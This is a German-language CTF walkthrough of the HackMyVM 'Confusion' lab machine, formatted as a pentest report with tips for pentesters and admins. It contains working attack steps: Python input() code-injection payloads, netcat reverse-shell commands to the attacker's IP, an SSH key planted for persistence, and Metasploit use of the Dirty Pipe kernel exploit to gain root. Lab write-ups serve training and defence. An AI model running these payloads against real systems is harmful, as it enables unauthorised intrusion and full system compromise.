Confusion - HackMyVM - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nikto
nmap
telnet
nc
python
stty
sudo
ss
find
cat
echo
vi
ssh
msfconsole
id
ls
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.109	08:00:27:be:2c:84	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment zu identifizieren. Es wird ein Host mit der IP 192.168.2.109 und einer MAC-Adresse von Oracle VirtualBox gefunden.

Bewertung: Das Zielsystem wurde erfolgreich lokalisiert.

Empfehlung (Pentester): Detaillierten Portscan auf die Ziel-IP durchführen.
Empfehlung (Admin): Standard-Netzwerkaktivität.

┌──(root㉿cyber)-[~] └─# nikto -h 192.168.2.109
- Nikto v2.1.6
---------------------------------------------------------------------------
+ No web server found on 192.168.2.109:80
---------------------------------------------------------------------------
+ 0 host(s) tested
                    

Analyse: Ein erster Scan mit Nikto auf Port 80 ergibt, dass dort kein Standard-Webserver läuft. Dies ist eine wichtige erste Erkenntnis, da Port 80 oft ein primäres Ziel ist.

Bewertung: Schließt einen Standard-Webserver auf Port 80 aus. Weitere Ports müssen untersucht werden.

Empfehlung (Pentester): Einen vollständigen Portscan mit Nmap durchführen, um alle offenen Ports zu finden.
Empfehlung (Admin): Gut, wenn kein Webserver benötigt wird. Sicherstellen, dass keine unnötigen Dienste laufen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -A 192.168.2.109 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-01 23:06 CET
Nmap scan report for confusion (192.168.2.109)
Host is up (0.00012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey: ...
32145/tcp open  unknown
| fingerprint-strings:
|   GenericLines:
|     Welcome To The My Magic World
|     How many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in 
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "", line 0
|     SyntaxError: unexpected EOF while parsing
|   GetRequest:
|     Welcome To The My Magic World
|     How many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in 
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "", line 1, in 
|     NameError: name 'GET' is not defined
|   HTTPOptions, RTSPRequest:
|     Welcome To The My Magic World
|     How many times you want to ping?: Traceback (most recent call last):
|     File "/opt/ping.py", line 7, in 
|     no_of_packets = int(input("How many times you want to ping?: "))
|     File "", line 1, in 
|     NameError: name 'OPTIONS' is not defined
|   NULL:
|     Welcome To The My Magic World
|_    How many times you want to ping?:
1 service unrecognized despite returning data...
[...]
MAC Address: 08:00:27:BE:2C:84 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.12 ms confusion (192.168.2.109)
                    

Analyse: Ein umfassender Nmap-Scan (-sS, -sC, -T5, -A, -p-) identifiziert zwei offene Ports:

Bewertung: Port 22 ist ein Standard-Login-Punkt. Der Dienst auf Port 32145 ist der Schlüssel. Die Tracebacks zeigen, dass er ein Python-Skript ist, das `input()` verwendet, um Benutzereingaben zu lesen. Die Verwendung von `input()` in Python 2/3 (insbesondere in älteren Versionen oder wenn nicht korrekt behandelt) kann gefährlich sein, da es versucht, die Eingabe als Python-Code auszuwerten, was zu Code Injection führen kann.

Empfehlung (Pentester): Mit dem Dienst auf Port 32145 manuell interagieren (z.B. via `telnet` oder `nc`). Versuchen, gültige Python-Befehle einzugeben, um die vermutete Code-Injection-Schwachstelle auszunutzen.
Empfehlung (Admin): Benutzerdefinierte Netzwerkdienste sorgfältig entwickeln und absichern. **Niemals** die `input()`-Funktion (oder `eval()`) direkt auf Netzwerk- oder Benutzereingaben anwenden. Stattdessen sichere Methoden zur Eingabeverarbeitung (z.B. `sys.stdin.readline()` für rohe Strings) und Validierung verwenden. Tracebacks sollten nicht an den Client gesendet werden.

Analyse (Web-Zugriff Versuch): Ein Versuch, die Adresse `http://192.168.2.109:32145` im Browser zu öffnen, führt ebenfalls zu einem `NameError`, da der Browser eine HTTP GET-Anfrage sendet, die vom `input()` des Python-Skripts nicht verarbeitet werden kann.

Welcome To The My Magic World

How many times you want to ping?: Traceback (most recent call last):
  File "/opt/ping.py", line 7, in 
    no_of_packets = int(input("How many times you want to ping?: "))
  File "", line 1, in 
NameError: name 'GET' is not defined
                    

Bewertung: Bestätigt das Verhalten des Dienstes und die Interpretation von HTTP-Anfragen als ungültigen Python-Code durch `input()`.

Empfehlung (Pentester): Direkte Interaktion via `telnet` oder `nc` ist notwendig.
Empfehlung (Admin): Siehe vorherige Empfehlung zur Absicherung des Dienstes.

Initial Access (via Python Input Injection)

Analyse: Basierend auf den Nmap-Ergebnissen wird eine Telnet-Verbindung zum Dienst auf Port 32145 aufgebaut, um direkt mit dem Python-Skript zu interagieren.

┌──(root㉿cyber)-[~] └─# telnet 192.168.2.109 32145
Trying 192.168.2.109...
Connected to 192.168.2.109.
Escape character is '^]'.
Welcome To The My Magic World

How many times you want to ping?: 2
PING localhost(localhost (::1)) 56 data bytes 
64 bytes from localhost (::1): icmp_seq=1 ttl=64 time=0.036 ms
64 bytes from localhost (::1): icmp_seq=2 ttl=64 time=0.028 ms

Connection closed by foreign host.
                    

Analyse: Eine erste Interaktion mit einer gültigen Zahl (`2`) als Eingabe führt dazu, dass das Skript `ping localhost` zweimal ausführt und die Verbindung dann schließt. Dies bestätigt die Grundfunktionalität des Skripts.

Bewertung: Zeigt das erwartete Verhalten bei gültiger numerischer Eingabe.

Empfehlung (Pentester): Nun versuchen, Python-Code einzuschleusen.
Empfehlung (Admin): Eingaben validieren (nur Zahlen erlauben).

Proof of Concept: Python Code Injection via input()
Der folgende Schritt demonstriert die Ausnutzung der Schwachstelle, indem gültiger Python-Code an die `input()`-Funktion übergeben wird.

┌──(root㉿cyber)-[~] └─# telnet 192.168.2.109 32145
Trying 192.168.2.109...
Connected to 192.168.2.109.
Escape character is '^]'.
Welcome To The My Magic World

How many times you want to ping?: eval('__import__("os").system("id")')
uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot)
PING localhost(localhost (::1)) 56 data bytes
Connection closed by foreign host.
                    

Analyse: Diesmal wird als Eingabe der String `eval('__import__("os").system("id")')` gesendet. Da `input()` in diesem Kontext versucht, die Eingabe als Python-Code auszuwerten, wird die `eval()`-Funktion ausgeführt. Diese wiederum importiert das `os`-Modul und führt die Methode `system("id")` aus. Die Ausgabe `uid=1002(iamroot)...` erscheint *vor* dem erwarteten Ping, was die erfolgreiche Ausführung des `id`-Befehls als Benutzer `iamroot` bestätigt.

Bewertung: **Kritische Schwachstelle (Remote Code Execution)!** Die Verwendung von `input()` ermöglicht es, beliebigen Python-Code und damit beliebige Betriebssystembefehle im Kontext des Benutzers `iamroot` auszuführen.

Empfehlung (Pentester): Diese RCE-Schwachstelle nutzen, um weitere Informationen zu sammeln und eine Reverse Shell zu erhalten.
Empfehlung (Admin): Den Dienst sofort deaktivieren und korrigieren. **Niemals** `input()` oder `eval()` für Netzwerk- oder Benutzereingaben verwenden.

┌──(root㉿cyber)-[~] └─# telnet 192.168.2.109 32145
[...]
How many times you want to ping?: eval('__import__("os").system("ls /home")')
iamroot  sammy	still
PING localhost(localhost (::1)) 56 data bytes
Connection closed by foreign host.
                    
┌──(root㉿cyber)-[~] └─# telnet 192.168.2.109 32145
[...]
How many times you want to ping?: eval('__import__("os").system("ls /home/sammy")')
user.txt
PING localhost(localhost (::1)) 56 data bytes
Connection closed by foreign host.
                    
┌──(root㉿cyber)-[~] └─# telnet 192.168.2.109 32145
[...]
How many times you want to ping?: eval('__import__("os").system("cat /home/sammy/user.txt")')
cat: /home/sammy/user.txt: Permission denied
[...]
                    

Analyse: Über die RCE-Schwachstelle werden weitere Befehle ausgeführt: `ls /home` zeigt die Benutzer `iamroot`, `sammy` und `still`. `ls /home/sammy` zeigt eine `user.txt`. Der Versuch, `user.txt` als `iamroot` zu lesen, scheitert jedoch mit "Permission denied".

Bewertung: Obwohl wir Code als `iamroot` ausführen, hat dieser Benutzer anscheinend keine Leseberechtigung für die `user.txt` im Home-Verzeichnis von `sammy`. Dies deutet auf eine ungewöhnliche Rechtekonstellation oder darauf hin, dass `iamroot` kein privilegierter Benutzer im Sinne von Root ist.

Empfehlung (Pentester): Eine interaktive Shell erhalten, um die Berechtigungen und die Umgebung von `iamroot` genauer zu untersuchen. Die `sudo -l`-Ausgabe prüfen.
Empfehlung (Admin): Berechtigungen für Home-Verzeichnisse korrekt setzen.

┌──(root㉿cyber)-[~] └─# telnet 192.168.2.109 32145
[...]
How many times you want to ping?: eval('__import__("os").system("nc -e /bin/bash 192.168.2.121 8005")')
[...]
                    
┌──(root㉿cyber)-[~] └─# nc -lvnp 8005
listening on [any] 8005 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.109] 54052
                    

Analyse: Über die RCE wird ein `nc`-Befehl ausgeführt, um eine Reverse Shell zur Angreifer-IP (`192.168.2.121`) auf Port `8005` zu starten. Der Netcat-Listener auf der Angreiferseite empfängt die Verbindung.

Bewertung: Erfolg! Eine interaktive Shell als Benutzer `iamroot` wurde erlangt.

Empfehlung (Pentester): Shell stabilisieren und mit der Enumeration fortfahren.
Empfehlung (Admin): RCE-Schwachstelle beheben.

┌──(root㉿cyber)-[~] └─# nc -lvnp 8005
listening on [any] 8005 ...
connect to [192.168.2.121] from (UNKNOWN) [192.168.2.109] 54052
python3 -c 'import pty;pty.spawn("/bin/bash")'
iamroot@confusion:/$ export TERM=xterm
export TERM=xterm
iamroot@confusion:/$ ^Z
zsh: suspended  nc -lvnp 8005
                    
┌──(root㉿cyber)-[~] └─# stty raw -echo;fg
[1]  + continued  nc -lvnp 8005
                     reset
iamroot@confusion:/$
                    

Analyse: Die Standardprozedur zur Stabilisierung der Netcat-Reverse-Shell wird angewendet (Python PTY, TERM setzen, stty raw -echo, fg, reset).

Bewertung: Eine stabile, interaktive Shell als `iamroot` steht zur Verfügung.

Empfehlung (Pentester): Nun `sudo -l` und weitere Enumeration durchführen.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

Privilege Escalation

iamroot@confusion:~$ sudo -l
Matching Defaults entries for iamroot on confusion:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User iamroot may run the following commands on confusion:
    (!root) NOPASSWD: /bin/bash
                    

Analyse: Die Ausgabe von `sudo -l` für den Benutzer `iamroot` zeigt eine interessante Regel: `(!root) NOPASSWD: /bin/bash`. Das bedeutet, `iamroot` kann `/bin/bash` als jeder beliebige Benutzer *außer* `root` ohne Passwort ausführen.

Bewertung: Dies ist eine ungewöhnliche sudo-Regel. Sie verhindert die direkte Eskalation zu `root` mittels `sudo -u root /bin/bash` oder `sudo -u#0 /bin/bash`. Sie erlaubt jedoch das Wechseln zu *jedem anderen* Benutzer. Dies könnte für horizontale Bewegung nützlich sein, aber nicht direkt für die Root-Eskalation über diesen Weg.

Empfehlung (Pentester): Diese Regel ist keine direkte Hilfe für Root. Nach anderen Vektoren suchen (Kernel-Exploits, SUID-Binaries, Cronjobs, Fehlkonfigurationen).
Empfehlung (Admin): Solche `sudo`-Regeln sind verwirrend und potenziell gefährlich. `sudo` sollte nur für spezifische, notwendige Befehle und Zielbenutzer gewährt werden. Die `!root`-Einschränkung ist ungewöhnlich und sollte hinterfragt werden.

iamroot@confusion:~$ ss -tulpe
Netid  State    Recv-Q   Send-Q     Local Address:Port       Peer Address:Port  Process
udp    UNCONN   0        0                0.0.0.0:bootpc          0.0.0.0:*      ino:11704 sk:1 cgroup:/system.slice/ifup@enp0s3.service <->
tcp    LISTEN   0        5                0.0.0.0:32145           0.0.0.0:*      users:(("socat",pid=393,fd=5)) uid:1002 ino:11717 sk:2 cgroup:/system.slice/special_ping.service <->
tcp    LISTEN   0        128              0.0.0.0:ssh             0.0.0.0:*      ino:11747 sk:3 cgroup:/system.slice/ssh.service <->
tcp    LISTEN   0        128                 [::]:ssh                [::]:*      ino:11758 sk:4 cgroup:/system.slice/ssh.service v6only:1 <->
                    

Analyse: `ss -tulpe` zeigt die laufenden Dienste. Interessant ist, dass der Dienst auf Port 32145 durch `socat` (PID 393) ausgeführt wird und zur CGroup `special_ping.service` gehört. Er läuft als UID 1002 (`iamroot`).

Bewertung: Bestätigt, dass der anfällige Dienst als `iamroot` läuft und durch `socat` bereitgestellt wird, was wahrscheinlich das Python-Skript `/opt/ping.py` startet.

Empfehlung (Pentester): Die Konfiguration des `special_ping.service` (Systemd-Unit-Datei) untersuchen, um mehr über den Startmechanismus zu erfahren.
Empfehlung (Admin): Sicherstellen, dass Dienste wie `socat` nicht unnötig verwendet werden, um Skripte über das Netzwerk verfügbar zu machen.

iamroot@confusion:~$ find / -perm -4000 -exec ls -al {} \; 2>/dev/null
-rwsr-xr-- 1 root messagebus 51336 Feb 21  2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 481608 Mar 13  2021 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 35040 Jul 28  2021 /usr/bin/umount
-rwsr-xr-x 1 root root 71912 Jul 28  2021 /usr/bin/su
-rwsr-xr-x 1 root root 44632 Feb  7  2020 /usr/bin/newgrp
-rwsr-xr-x 1 root root 88304 Feb  7  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52880 Feb  7  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 58416 Feb  7  2020 /usr/bin/chfn
-rwsr-xr-x 1 root root 55528 Jul 28  2021 /usr/bin/mount
-rwsr-xr-x 1 root root 63960 Feb  7  2020 /usr/bin/passwd
-rwsr-xr-x 1 root root 182600 Feb 27  2021 /usr/bin/sudo
                    

Analyse: Erneute Suche nach SUID-Binaries. Die Liste zeigt Standard-Binaries für Debian 11. Es gibt keine offensichtlich ungewöhnlichen oder leicht ausnutzbaren SUID-Dateien (abgesehen von `sudo`, das aber eingeschränkt ist).

Bewertung: SUID-Exploits scheinen kein einfacher Weg zu sein. Der Fokus sollte auf Kernel-Exploits oder anderen Fehlkonfigurationen liegen.

Empfehlung (Pentester): Kernel-Version prüfen und nach bekannten Exploits suchen.
Empfehlung (Admin): System aktuell halten.

iamroot@confusion:~$ cat /etc/*-release
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
                    

Analyse: Bestätigt das Betriebssystem als Debian 11 (Bullseye).

Bewertung: Wichtig für die Exploit-Suche.

Empfehlung (Pentester): Kernel-Version mit `uname -a` ermitteln.
Empfehlung (Admin): Keine Maßnahmen erforderlich.

iamroot@confusion:~$ cat /etc/apt/note.txt
Have You Checked Other Port?
                    

Analyse: Eine Notizdatei in `/etc/apt` enthält einen Hinweis. Da wir bereits über Port 32145 eingestiegen sind, ist die Bedeutung unklar. Evtl. ein Überbleibsel oder eine falsche Fährte.

Bewertung: Vage Notiz, wahrscheinlich nicht direkt nützlich für die Eskalation an dieser Stelle.

Empfehlung (Pentester): Notiz zur Kenntnis nehmen, aber nicht zu viel Zeit darauf verwenden, wenn andere Wege (Kernel-Exploit) vielversprechender sind.
Empfehlung (Admin): Unnötige Notizdateien entfernen.

iamroot@confusion:~$ echo "ssh-rsa AAAAB3N...(Key)...zxE=" > ~/.ssh/authorized_keys

Analyse: Der SSH-Schlüssel des Angreifers wird in die `authorized_keys`-Datei von `iamroot` geschrieben, um einen stabilen SSH-Zugang zu ermöglichen.

Bewertung: Sinnvoller Schritt für stabilen Zugriff.

Empfehlung (Pentester): SSH-Verbindung testen.
Empfehlung (Admin): Keine direkten Maßnahmen erforderlich.

┌──(root㉿cyber)-[~] └─# ssh iamroot@mess.hmv
The authenticity of host 'mess.hmv (192.168.2.109)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
Have you ever thought?
     If
 Cindrella's
   Shoe Fit
  Perfectly
   Then Why
  Did It Fall
    Off?
still:confused?
Then go for Port 32145 :)
Enter passphrase for key '/root/.ssh/id_rsa': (Passphrase eingegeben)
Linux confusion 5.10.0-9-amd64 #1 SMP Debian 5.10.70-1 (2021-09-30) x86_64
[...]
Last login: Mon Oct 24 17:19:26 2022 from 192.168.2.153
iamroot@confusion:~$
                    

Analyse: Der SSH-Login als `iamroot` mittels Schlüssel gelingt. Eine interessante MOTD/Banner wird angezeigt, die auf die Maschine "Confusion" und Port 32145 hinweist. Die Kernel-Version wird als `5.10.0-9-amd64` (Debian 5.10.70-1) identifiziert.

Bewertung: Stabiler SSH-Zugang als `iamroot` ist etabliert. Die Kernel-Version 5.10.70 ist bekannt dafür, anfällig für die Dirty Pipe-Schwachstelle (CVE-2022-0847) zu sein.

Empfehlung (Pentester): Die Dirty Pipe-Schwachstelle zur Eskalation zu Root ausnutzen.
Empfehlung (Admin): Kernel auf eine gepatchte Version aktualisieren.

Proof of Concept: Privilege Escalation via Dirty Pipe (CVE-2022-0847)
Die folgenden Schritte nutzen die Metasploit-Framework, um die Dirty Pipe-Schwachstelle auszunutzen.

┌──(root㉿cyber)-[~] └─# msfconsole
[...]
msf6 >
                    
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > options
[...]
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > set lhost eth0
lhost => 192.168.2.121
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.121:4444
iamroot@confusion:~$ nc -e /bin/bash 192.168.2.121 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.121:4444
[*] Command shell session 1 opened (192.168.2.121:4444 -> 192.168.2.109:36134) at 2022-11-01 23:31:30 +0100

id
uid=1002(iamroot) gid=1002(iamroot) groups=1002(iamroot)
^Z
Background session 1? [y/N]  y
                    
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
[...]
msf6 post(multi/manage/shell_to_meterpreter) > set HANDLER true
HANDLER => true
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4433
lport => 4433
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.121:4433
[*] Sending stage (1017704 bytes) to 192.168.2.109
[*] Meterpreter session 2 opened (192.168.2.121:4433 -> 192.168.2.109:60278) at 2022-11-01 23:33:22 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    
msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2022_0847_dirtypipe
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > options
[...]
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set COMPILE auto
[-] The following options failed to validate: Value 'auto' is not valid for option 'COMPILE'.
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set SESSION 2
SESSION => 2
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set WRITABLE_DIR /tmp
WRITABLE_DIR => /tmp
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lport 4444
lport => 4444
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > set lhost eth0
lhost => 192.168.2.121
msf6 exploit(linux/local/cve_2022_0847_dirtypipe) > run
[*] Started reverse TCP handler on 192.168.2.121:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Linux kernel version found: 5.10.0
[*] Executing exploit '/tmp/.bnrjufucd /bin/passwd'
[*] Sending stage (3045348 bytes) to 192.168.2.109
[+] Deleted /tmp/.bnrjufucd
[*] Meterpreter session 3 opened (192.168.2.121:4444 -> 192.168.2.109:36138) at 2022-11-01 23:35:10 +0100
                    
meterpreter > shell
Process 904 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root),1002(iamroot)
                    

Analyse: Eine Reverse Shell als `iamroot` wird an Metasploit gesendet und zu einer Meterpreter-Session (Session 2) aufgewertet. Anschließend wird der Dirty Pipe Exploit (`exploit/linux/local/cve_2022_0847_dirtypipe`) ausgewählt und auf Session 2 angewendet. Der Exploit erkennt die anfällige Kernel-Version (5.10.0), wird ausgeführt und öffnet erfolgreich eine neue Meterpreter-Session (Session 3). Ein Wechsel zur Shell (`shell`) und die Ausführung von `id` in dieser neuen Session bestätigt den Root-Zugriff (`uid=0(root)`).

Bewertung: Erfolg! Durch Ausnutzung der Dirty Pipe Kernel-Schwachstelle wurden Root-Rechte erlangt.

Empfehlung (Pentester): Root-Flag suchen.
Empfehlung (Admin): System dringend patchen, um CVE-2022-0847 zu beheben.

Flags

# cd /home/sammy
# cat user.txt
806451a0d37e94c20ea85f4e8e9ad3b8
cat /home/sammy/user.txt
806451a0d37e94c20ea85f4e8e9ad3b8
# cd /root
# ls
root.txt
# cat root.txt
cb9e279429419f5326e7755ba43c7055
cat /root/root.txt
cb9e279429419f5326e7755ba43c7055

Analyse: In der Root-Shell werden die User- und Root-Flags aus den entsprechenden Verzeichnissen (`/home/sammy/user.txt` und `/root/root.txt`) erfolgreich ausgelesen.

Bewertung: Beide Flags wurden gefunden. Der Penetrationstest ist abgeschlossen.

Empfehlung (Pentester): Bericht fertigstellen.
Empfehlung (Admin): Keine Maßnahmen bzgl. der Flags.